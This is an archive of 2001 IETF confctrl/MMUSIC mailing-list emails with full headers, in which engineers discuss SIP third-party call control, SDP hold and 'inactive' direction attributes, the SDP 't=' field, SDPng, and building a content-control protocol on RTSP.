> > > you INVITE the other party and get his SDP. Now you can 
> re-INVITE the
> > > first party.
> > 
> > OK, that makes some sense. But it is problematic unless it can be
> > depended upon to work all the time, with any type of media. 
> (The 3pcc
> > may not understand the media being used by the endpoints.) 
> I am not sure
> > this is the case.
> > 
> > Also, isn't there a potential problem with this technique?
> > After you re-INVITE the first party with the SDP from the 
> other party,
> > the SDP you get back may not be the same as it was in the 
> first invite.
> > If not, then you have to reinvite the other party again. 
> This process
> > may never terminate.
> > 
> > Seems like it would be better to count on turning around 
> the invite to
> > the other party before the first party times out. It takes 
> a long time
> > to timeout, so this shouldn't usually be a problem.
> > 
> > >
> > > > Where this isn't sufficient, it might be better to 
> simply invite without
> > > > any media sessions at all, just to establish a 
> signalling relationship.
> > > > (But I don't believe that is technically legal at the moment.)
> > >
> > > You INVITE without any media description. The thing is 
> that since you
> > > will get media description in the 200 OK, you MUST send 
> an SDP in your
> > > ACK.
> > 
> > What I meant was that you might invite with the intent of 
> establishing a
> > call that has no media sessions. It isn't straightforward 
> to do, since
> > if you offer SDP that contains no m= lines it is like 
> offering no SDP.
> > You can probably do it by offering an SDP with "m=xxx 0 ...", but
> > probably most UAs would reject this as useless. And in any case it
> > wouldn't serve your purpose.
> > 
> >         Paul
> > 
> > _______________________________________________
> > Sip mailing list  http://www.ietf.org/mailman/listinfo/sip
> > This list is for NEW development of the core SIP Protocol
> > Use sip-implementors@cs.columbia.edu for questions on current sip
> > Use sipping@ietf.org for new developments on the application of sip
> 

From confctrl-owner  Wed Aug  1 07:55:50 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA23297
	for confctrl-outgoing; Wed, 1 Aug 2001 07:55:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA23292
	for <confctrl@zephyr.isi.edu>; Wed, 1 Aug 2001 07:55:49 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f71Etnm10660;
	Wed, 1 Aug 2001 07:55:49 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id f71EtlO15578;
	Wed, 1 Aug 2001 16:55:47 +0200 (MEST)
Received: from lmf.ericsson.se (rmt160112.am.ericsson.se [138.85.160.112])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id QAA18553;
	Wed, 1 Aug 2001 16:55:41 +0200 (MET DST)
Message-ID: <3B681B37.B8350B4@lmf.ericsson.se>
Date: Wed, 01 Aug 2001 18:07:35 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: sip@ietf.org, mmusic <confctrl@ISI.EDU>, Colin Perkins <csp@ISI.EDU>
Subject: Re: SDP hold
References: <B65B4F8437968F488A01A940B21982BF020D641B@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

> > It seems that the best proposal is to use the direction tag (sendonly,
> > sendrecv, recvonly) to do this. It has been proposed to define a new
> > direction tag value that would mean that the media stream
> > will not carry
> > media (neither-send-nor-receive). This could be encoded as a=nomedia,
> > for instance.
> 
> Just to be clear, you do not need a new attribute for hold. In the current
> usage of 0.0.0.0, hold is unidirectional. As a result, using a=sendonly is
> the appropriate way to replace this functionality.

Yes, sendonly  works if A puts B on hold in a sendrecv stream. However,
if you have a recvonly stream and you want to put it on hold, you need
the neither-send-nor-receive tag.  

> There is also a need, I think, to indicate that a media stream is
> temporarily disabled (in which case there is neither RTP or RTCP in either
> direction). But, this is not needed for hold.

OK, we can call the "on hold" scenario I just described as a
"temporarily disabled media" (the latter is probably more accurate).
Anyway, we still need the new tag. I do not really care if we call it
neithersendnorrecv, nomedia or inactive. However, as Christer suggested,
in order to be consistent with other protocols we can use "inactive".

Anyway, my question is: Colin, do you think that such a tag should be
included in SDPnew? Otherwise we can write a half-page draft defining
this attribute.

Regards,

Gonzalo 


> 
> -Jonathan R.
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com

-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Wed Aug  1 08:01:14 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA23619
	for confctrl-outgoing; Wed, 1 Aug 2001 08:01:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA23614
	for <confctrl@zephyr.isi.edu>; Wed, 1 Aug 2001 08:01:13 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f71F1Bm11976;
	Wed, 1 Aug 2001 08:01:12 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f71F13N06994;
	Wed, 1 Aug 2001 17:01:03 +0200 (MEST)
Received: from lmf.ericsson.se (rmt160112.am.ericsson.se [138.85.160.112])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id RAA18787;
	Wed, 1 Aug 2001 17:00:59 +0200 (MET DST)
Message-ID: <3B681C74.24E42161@lmf.ericsson.se>
Date: Wed, 01 Aug 2001 18:12:52 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: sip@ietf.org, mmusic <confctrl@ISI.EDU>, Colin Perkins <csp@ISI.EDU>,
        Jonathan Rosemberg <jdrosen@dynamicsoft.com>
Subject: Re: 3pcc question WAS SDP hold
References: <3B670282.4E3F57FB@lmf.ericsson.se> <3B672171.684C8D42@cisco.com> <3B67285F.AE7C83F6@lmf.ericsson.se> <3B673246.596702B5@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello Paul,

Comments inline:

Paul Kyzivat wrote:
> 
> Gonzalo Camarillo wrote:
> >
> > Hello,
> >
> > > I know I will remember eventually, but can you remind me of such a
> > > scenario? I think I recall some cases where you invite on hold, and then
> > > reinvite. But when would this be used rather than inviting without SDP?
> >
> > Actually you INVITE without SDP and get an SDP in the 200 OK. Now you
> > MUST send an SDP in the ACK.
> >
> > You MAY try to send an INVITE with the SDP just obtained to the other
> > party and expect the 200 OK to arrive quickly enough. That is, before
> > the fist party gets tired of retransmitting the 200 OK without getting
> > an ACK.
> >
> > Luckily you have another option. When you receive the 200 OK from your
> > first INVITE without SDP, you send an ACK with SDP 0.0.0.0 (hold). Then
> > you INVITE the other party and get his SDP. Now you can re-INVITE the
> > first party.
> 
> OK, that makes some sense. But it is problematic unless it can be
> depended upon to work all the time, with any type of media. (The 3pcc
> may not understand the media being used by the endpoints.) I am not sure
> this is the case.

Have a look at the 3pcc draft. It contains the motivation for all the
decisions that we have made. I believe that your concern was also
included there.

> Also, isn't there a potential problem with this technique?
> After you re-INVITE the first party with the SDP from the other party,
> the SDP you get back may not be the same as it was in the first invite.
> If not, then you have to reinvite the other party again. This process
> may never terminate.

This problem is addressed by the latest version of the draft (02)


> Seems like it would be better to count on turning around the invite to
> the other party before the first party times out. It takes a long time
> to timeout, so this shouldn't usually be a problem.
> 
> >
> > > Where this isn't sufficient, it might be better to simply invite without
> > > any media sessions at all, just to establish a signalling relationship.
> > > (But I don't believe that is technically legal at the moment.)
> >
> > You INVITE without any media description. The thing is that since you
> > will get media description in the 200 OK, you MUST send an SDP in your
> > ACK.
> 
> What I meant was that you might invite with the intent of establishing a
> call that has no media sessions. It isn't straightforward to do, since
> if you offer SDP that contains no m= lines it is like offering no SDP.
> You can probably do it by offering an SDP with "m=xxx 0 ...", but
> probably most UAs would reject this as useless. And in any case it
> wouldn't serve your purpose.
> 

You can INVITE without SDP and then reject all the media streams offered
in the 200 OK (by setting ports to zero in the ACK).

However, if a UA receives an ACK that rejects allt he media streams, it
might get confused. On the other hand, an ACK that puts streams on hold
does not seem as surprising for the UA.


Regards,

Gonzalo
-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Wed Aug  1 08:28:07 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA25079
	for confctrl-outgoing; Wed, 1 Aug 2001 08:28:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA25073
	for <confctrl@zephyr.isi.edu>; Wed, 1 Aug 2001 08:28:05 -0700 (PDT)
Received: from auemail2.firewall.lucent.com (auemail2.lucent.com [192.11.223.163])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f71FRum22775;
	Wed, 1 Aug 2001 08:27:58 -0700 (PDT)
Received: from wink.ho.lucent.com (h135-17-38-3.lucent.com [135.17.38.3])
	by auemail2.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f71FRqk24956;
	Wed, 1 Aug 2001 11:27:52 -0400 (EDT)
Received: by wink.ho.lucent.com (8.9.3+Sun/EMS-1.5 sol2)
	id LAA13164; Wed, 1 Aug 2001 11:27:50 -0400 (EDT)
Cc: Paul Kyzivat <pkyzivat@cisco.com>,
        Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>, Colin Perkins <csp@ISI.EDU>,
        Jonathan Rosemberg <jdrosen@dynamicsoft.com>
Received: from lucent.com by wink.ho.lucent.com (8.9.3+Sun/EMS-1.5 sol2)
	id LAA13048; Wed, 1 Aug 2001 11:27:43 -0400 (EDT)
Message-ID: <3B681F6A.F408723F@lucent.com>
Date: Wed, 01 Aug 2001 11:25:30 -0400
From: Troy Cauble <troy@lucent.com>
Reply-To: Troy Cauble <troy@bell-labs.com>
X-Mailer: Mozilla 4.77 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Christer Holmberg <christer.holmberg@lmf.ericsson.se>
Original-CC: Paul Kyzivat <pkyzivat@cisco.com>,
        Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>, sip@ietf.org,
        mmusic <confctrl@isi.edu>, Colin Perkins <csp@isi.edu>,
        Jonathan Rosemberg <jdrosen@dynamicsoft.com>
Subject: Re: [Sip] Re: SDP hold
References: <3B670282.4E3F57FB@lmf.ericsson.se> <3B672171.684C8D42@cisco.com> <3B67285F.AE7C83F6@lmf.ericsson.se> <3B673246.596702B5@cisco.com> <3B6790BB.5504972D@lmf.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Yes.  "inactive" is already commonly used in MGCP
call waiting scenarios.

-troy

Christer Holmberg wrote:
> 
> Hi,
> 
> Can't we use the "inactive" tag, so we don't have to define a new?
> "Inactive" is used by both MGCP and MEGACO when a connection is created,
> but no media is supposed to be sent nor received, so maybe it would be a
> good idea to use the same tag also for SIP.
> 

> > What I meant was that you might invite with the intent of establishing a
> > call that has no media sessions. It isn't straightforward to do, since
> > if you offer SDP that contains no m= lines it is like offering no SDP.
> > You can probably do it by offering an SDP with "m=xxx 0 ...", but
> > probably most UAs would reject this as useless. And in any case it
> > wouldn't serve your purpose.

From confctrl-owner  Wed Aug  1 09:20:41 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA28425
	for confctrl-outgoing; Wed, 1 Aug 2001 09:20:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA28419
	for <confctrl@zephyr.isi.edu>; Wed, 1 Aug 2001 09:20:39 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f71GKem15910
	for <confctrl@ISI.EDU>; Wed, 1 Aug 2001 09:20:40 -0700 (PDT)
Received: from domain.informatik.uni-bremen.de (IDENT:root@domain.informatik.uni-bremen.de [134.102.218.58])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f71GKMJ16227
	for <confctrl@ISI.EDU>; Wed, 1 Aug 2001 18:20:22 +0200 (MEST)
Received: (from dku@localhost)
	by domain.informatik.uni-bremen.de (8.9.3/8.8.7) id SAA11178;
	Wed, 1 Aug 2001 18:20:36 +0200
X-Authentication-Warning: domain.informatik.uni-bremen.de: dku set sender to dku@informatik.uni-bremen.de using -f
To: mmusic <confctrl@ISI.EDU>
Subject: draft-ietf-mmusic-sdpng-01.txt
From: Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
Date: 01 Aug 2001 18:20:36 +0200
Message-ID: <cd4rrrycob.fsf@domain.informatik.uni-bremen.de>
Lines: 17
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

FYI, draft-ietf-mmusic-sdpng-01.txt has appeared in the archives (is
has not been announced yet).

The HTML version is available at
http://www.dmn.tzi.org/ietf/mmusic/sdp-ng/drafts/draft-ietf-mmusic-sdpng-01.html

The main changes:

We have advanced the syntax proposal and provided some definition
templates that cover most of what is required for specifying RTP/AVP
session parameters.

Next steps would include formal schema definitions, advancing the
extensions mechanisms and capability negotiation.

-- 
	Dirk

From confctrl-owner  Wed Aug  1 16:14:43 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA18518
	for confctrl-outgoing; Wed, 1 Aug 2001 16:14:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA18513
	for <confctrl@zephyr.isi.edu>; Wed, 1 Aug 2001 16:14:42 -0700 (PDT)
Received: from motgate3.mot.com (motgate3.mot.com [144.189.100.103])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f71NEhm13467
	for <confctrl@isi.edu>; Wed, 1 Aug 2001 16:14:43 -0700 (PDT)
Received: [from pobox3.mot.com (pobox3.mot.com [10.64.251.242]) by motgate3.mot.com (motgate3 2.1) with ESMTP id QAA10128 for <confctrl@isi.edu>; Wed, 1 Aug 2001 16:07:12 -0700 (MST)]
Received: [from il27exb01.cig.mot.com (il27exb01.cig.mot.com [136.182.15.100]) by pobox3.mot.com (MOT-pobox3 2.0) with ESMTP id QAA23185 for <confctrl@isi.edu>; Wed, 1 Aug 2001 16:07:03 -0700 (MST)]
Received: by il27exb01.cig.mot.com with Internet Mail Service (5.5.2653.19)
	id <3XDB8TKL>; Wed, 1 Aug 2001 18:14:38 -0500
Message-ID: <35DBB8B7AC89D4118E98009027B1009B0137E2B9@IL27EXM10.cig.mot.com>
From: Baniel Uri-CUB001 <Uri.Baniel@motorola.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject:  "t="
Date: Wed, 1 Aug 2001 18:14:29 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

1)Is it allowed for a UAS to change the original value of the SDP "t=" field in its 200 response?
2)Is the "t=" field an optional one?

=======================================================================
Uri.Baniel@motorola.com, 
Tel: (847) 632 4616; Fax: (847) 632 3963; 
"If it wasn't for bad luck, I would not have luck at all" - Cream 1968
=======================================================================



From confctrl-owner  Thu Aug  2 21:21:52 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id VAA00196
	for confctrl-outgoing; Thu, 2 Aug 2001 21:21:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA00189
	for <confctrl@zephyr.isi.edu>; Thu, 2 Aug 2001 21:21:51 -0700 (PDT)
Received: from mail2.dynamicsoft.com (mail2.dynamicsoft.com [216.173.40.52])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f734Lrm28757
	for <confctrl@ISI.EDU>; Thu, 2 Aug 2001 21:21:53 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (bluebird [216.173.40.50])
	by mail2.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f734LEw3009841;
	Fri, 3 Aug 2001 00:21:14 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <QCDMJT29>; Fri, 3 Aug 2001 00:21:49 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D6453@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Baniel Uri-CUB001'" <Uri.Baniel@motorola.com>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: "t="
Date: Fri, 3 Aug 2001 00:21:48 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Baniel Uri-CUB001 [mailto:Uri.Baniel@motorola.com]
> Sent: Wednesday, August 01, 2001 7:14 PM
> To: 'confctrl@isi.edu'
> Subject: "t="
> 
> 
> 1)Is it allowed for a UAS to change the original value of the 
> SDP "t=" field in its 200 response?

There is nothing in the SIP spec about doing this. I don't think it makes
any sense to do it.

> 2)Is the "t=" field an optional one?

No.

-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Sun Aug  5 12:42:36 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA24470
	for confctrl-outgoing; Sun, 5 Aug 2001 12:42:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA24465
	for <confctrl@zephyr.isi.edu>; Sun, 5 Aug 2001 12:42:35 -0700 (PDT)
Received: from purple.east.isi.edu (host217-33-137-108.ietf.ignite.net [217.33.137.108])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f75Jgbm12008
	for <confctrl@ISI.EDU>; Sun, 5 Aug 2001 12:42:37 -0700 (PDT)
Received: from purple (localhost [127.0.0.1])
	by purple.east.isi.edu (8.9.3/8.9.3) with ESMTP id PAA07784;
	Sun, 5 Aug 2001 15:42:27 -0400
Message-Id: <200108051942.PAA07784@purple.east.isi.edu>
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>
Subject: Re: [Sip] Re: SDP hold 
In-Reply-To: Your message of "Wed, 01 Aug 2001 18:07:35 +0300."
             <3B681B37.B8350B4@lmf.ericsson.se> 
Date: Sun, 05 Aug 2001 20:42:27 +0100
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Gonzalo Camarillo writes:
>Hello,
>
>> > It seems that the best proposal is to use the direction tag (sendonly,
>> > sendrecv, recvonly) to do this. It has been proposed to define a new
>> > direction tag value that would mean that the media stream
>> > will not carry
>> > media (neither-send-nor-receive). This could be encoded as a=nomedia,
>> > for instance.
>> 
>> Just to be clear, you do not need a new attribute for hold. In the current
>> usage of 0.0.0.0, hold is unidirectional. As a result, using a=sendonly is
>> the appropriate way to replace this functionality.
>
>Yes, sendonly  works if A puts B on hold in a sendrecv stream. However,
>if you have a recvonly stream and you want to put it on hold, you need
>the neither-send-nor-receive tag.  
>
>> There is also a need, I think, to indicate that a media stream is
>> temporarily disabled (in which case there is neither RTP or RTCP in either
>> direction). But, this is not needed for hold.
>
>OK, we can call the "on hold" scenario I just described as a
>"temporarily disabled media" (the latter is probably more accurate).
>Anyway, we still need the new tag. I do not really care if we call it
>neithersendnorrecv, nomedia or inactive. However, as Christer suggested,
>in order to be consistent with other protocols we can use "inactive".
>
>Anyway, my question is: Colin, do you think that such a tag should be
>included in SDPnew? Otherwise we can write a half-page draft defining
>this attribute.

I don't see the need for a new draft, so if there's consensus on this, send
me some suggested wording.

Colin

From confctrl-owner  Sun Aug  5 13:36:09 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA26891
	for confctrl-outgoing; Sun, 5 Aug 2001 13:36:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA26886
	for <confctrl@zephyr.isi.edu>; Sun, 5 Aug 2001 13:36:08 -0700 (PDT)
Received: from real.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f75KaBm18563
	for <confctrl@isi.edu>; Sun, 5 Aug 2001 13:36:11 -0700 (PDT)
Received: from goomoon.real.com (host217-33-146-163.ietf.ignite.net [217.33.146.163])
	by real.com (8.9.2/8.9.0) with ESMTP id NAA06409
	for <confctrl@isi.edu>; Sun, 5 Aug 2001 13:36:09 -0700 (PDT)
Message-Id: <5.1.0.14.0.20010805212616.00aafe30@goobox.prognet.com>
X-Sender: robla@goobox.prognet.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Sun, 05 Aug 2001 21:36:05 +0100
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: rtsp.org / SourceForge repository for RTSP spec
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi all,

We've broken out the content that was formerly on the RealNetworks 
corporate website and placed it on a new website at http://www.rtsp.org 
.    We hope this becomes a useful place to find RTSP related information.

On a (marginally) related note, Henning, Anup and I are working on (what 
will hopefully become) the Draft Standard of RTSP at 
http://rtspspec.sourceforge.net.  We plan to use the CVS repository and bug 
tracking facilities there to help manage the issues there.  Substantive 
changes to the specification should be discussed on this list, but if you 
want to make sure that an issue gets addressed before we go to Draft 
Standard, please file a bug on it to keep us honest.

Thanks
Rob


From confctrl-owner  Sun Aug  5 21:34:29 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA13821
	for confctrl-outgoing; Sun, 5 Aug 2001 21:34:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA13816
	for <confctrl@zephyr.isi.edu>; Sun, 5 Aug 2001 21:34:28 -0700 (PDT)
Received: from ns.live.com (ns.live.com [66.80.62.34])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f764YVm12949
	for <confctrl@ISI.EDU>; Sun, 5 Aug 2001 21:34:31 -0700 (PDT)
Received: (from rsf@localhost)
	by ns.live.com (8.9.3/8.9.3) id VAA86250;
	Sun, 5 Aug 2001 21:34:22 -0700 (PDT)
	(envelope-from rsf)
Message-Id: <4.3.1.1.20010804234205.00b66990@localhost>
X-Sender: rsf@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Sun, 05 Aug 2001 00:25:54 -0700
To: "Mike Luby" <luby@digitalfountain.com>
From: Ross Finlayson <finlayson@live.com>
Subject: Re: Session control protocol instantiation discussion within
  the IETF
Cc: "Rmt@Lbl. Gov" <rmt@lbl.gov>, confctrl@ISI.EDU
In-Reply-To: <NEBBIAPCNKEDCLPNFBNCGEBNCHAA.luby@digitalfountain.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 04:03 PM 8/2/01, Mike Luby wrote:
>In the upcoming RMT working group meeting at the IETF there will be a
>discussion about whether or not a session control protocol instantiation is:
>
>(1) within the mandate of the RMT working group
>
>(2) valuable assuming that the answer to (1) is "yes"
>
>The following draft is a description of a possible session control protocol.
>Note that this draft is not an official submission to the IETF, and its
>content will not be reviewed at the IETF meeting.  This draft is available
>at:
>
><http://www.digitalfountain.com/getDocument.htm/technology/library/draft-ietf-rmt-mgl-pi-rccp-00-7-11-2001.txt>http://www.digitalfountain.com/getDocument.htm/technology/library/draft-ietf-rmt-mgl-pi-rccp-00-7-11-2001.txt
>
>This document describes the Rich Content Control Protocol (RCCP), a session
>control protocol for client initiated  content delivery.  The content in
>question may be a file, a stream or some other form of content.  The RCCP
>protocol  itself, however, is independent of the type of the content.  RCCP
>offers support for both multicast and unicast  delivery.
>
>Some of the key properties and goals of RCCP are:
>
>(1) Initiation of the session including communication of the session
>description to clients.
>(2) Session monitoring to facilitate server side accounting.
>(3) Session teardown, facilitating server side accounting and collection of
>client statistics.
>(4) Initiation and high level control of data packet reception.
>(5) Prevention of some types of DoS attacks on servers.
>(3) The ability to either directly or after configuration allow delivery of
>content through firewalls.

Mike & RMT (cc. MMUSIC),

I think such a protocol is needed, but at this point I'm not convinced that 
it should be a completely new protocol.  Instead, we should consider 
whether such a protocol could be built upon the existing RTSP protocol - 
the IETF standard control protocol for multimedia (AVT) sessions.  RTSP 
already addresses many of the issues that you outline for your control 
protocol.  While RTSP currently uses SDP - which is probably not rich 
enough to describe reliable transport sessions - the 'next generation' of 
SDP (nicknamed "SDPng") will be flexible enough to describe such 
sessions.  Presumably there can also be a "RTSPng" which can make use of 
"SDPng", as well as having sufficient flexiblity to describe reliable 
transport sessions.

Using RTSP (or "RTSPng") as the control protocol for reliable transport 
sessions has several benefits over using a completely new protocol:
- Some multimedia sessions might include both streaming media (audio and/or 
video) and reliable data delivery.  It would be beneficial to use the same 
control protocol for all parts of such a session.
- Some future RTP payload formats may include reliable (or semi-reliable) 
delivery for part of its data.  (E.g., a RTP payload format for Vorbis 
audio will likely need to include a reliable delivery mechanism for 
transporting 'codebooks' to receivers.)  Ideally, all of the 
parameters/attributes for such a session should be described in SDP (or SDPng).
- Some client tools may end up being used to receive/display both A/V 
streams, and reliably-delivered files.  It would simplify the 
implementation of such clients if they could use a single control protocol, 
rather than using one for A/V streams, and another for reliable data transport.
- Ditto for servers - if the same server implementation ends up being used 
to serve both A/V streams and RMT data.

         Ross.


From confctrl-owner  Mon Aug  6 15:36:34 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA07646
	for confctrl-outgoing; Mon, 6 Aug 2001 15:36:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA07641
	for <confctrl@zephyr.isi.edu>; Mon, 6 Aug 2001 15:36:33 -0700 (PDT)
Received: from real.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f76Maam18849
	for <confctrl@ISI.EDU>; Mon, 6 Aug 2001 15:36:36 -0700 (PDT)
Received: from goobox.prognet.com ([172.23.105.191])
	by real.com (8.9.2/8.9.0) with ESMTP id PAA31755;
	Mon, 6 Aug 2001 15:36:32 -0700 (PDT)
Date: Mon, 6 Aug 2001 15:35:52 -0700 (PDT)
From: Rob Lanphier <robla@real.com>
X-Sender:  <robla@goobox.prognet.com>
To: Ross Finlayson <finlayson@live.com>
cc: Mike Luby <luby@digitalfountain.com>, "Rmt@Lbl. Gov" <rmt@lbl.gov>,
        <confctrl@ISI.EDU>
Subject: Re: Session control protocol instantiation discussion within  the
 IETF
In-Reply-To: <4.3.1.1.20010804234205.00b66990@localhost>
Message-ID: <Pine.LNX.4.30.0108061528370.2206-100000@goobox.prognet.com>
MIME-Version: 1.0
